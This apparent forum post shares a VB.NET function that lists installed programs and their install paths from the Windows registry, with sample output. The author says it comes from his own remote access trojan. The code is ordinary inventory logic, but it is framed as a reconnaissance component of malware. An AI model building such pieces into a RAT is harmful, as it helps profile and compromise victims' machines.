'This function was taken out of my rat, it shows the list of installed programs and the files location as a string this of course can be changed. I have also added some error catching (it was to make my rat more stable).


Private Function Getinstalledsoftware() As String
        Dim Software As String = Nothing
        Dim SoftwareKey As String = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
        Using rk As RegistryKey = Registry.LocalMachine.OpenSubKey(SoftwareKey)
            For Each skName As String In rk.GetSubKeyNames()
                Using sk As RegistryKey = rk.OpenSubKey(skName)
                    Try
                        If Not (sk.GetValue("DisplayName") Is Nothing) Then
                            If sk.GetValue("InstallLocation") Is Nothing Then
                                Software += sk.GetValue("DisplayName") & " - Install path not known" & vbLf
                            Else
                                Software += (sk.GetValue("DisplayName") & " - ") + sk.GetValue("InstallLocation") & Environment.NewLine
                            End If
                        End If
                    Catch ex As Exception
                    End Try
                End Using
            Next
        End Using
        Return Software
    End Function



'Example output
'Adobe Flash Player 10 Plugin - Install path not known
'Adobe Dreamweaver CS4 - Install path not known
'Adobe Photoshop CS4 - Install path not known
'Avira Premium Security Suite - C:\Program Files\Avira\AntiVir Desktop\
'Microsoft Visual Basic 2008 Express Edition with SP1 - ENU - C:\Program Files\Microsoft Visual Studio 9.0\
'Mozilla Firefox (3.6.3) - C:\Program Files\Mozilla Firefox
'NVIDIA Drivers - C:\Windows\system32
'Microsoft Office Professional Plus 2010 - C:\Program Files\Microsoft Office
'Windows Live Essentials - C:\Program Files\Windows Live\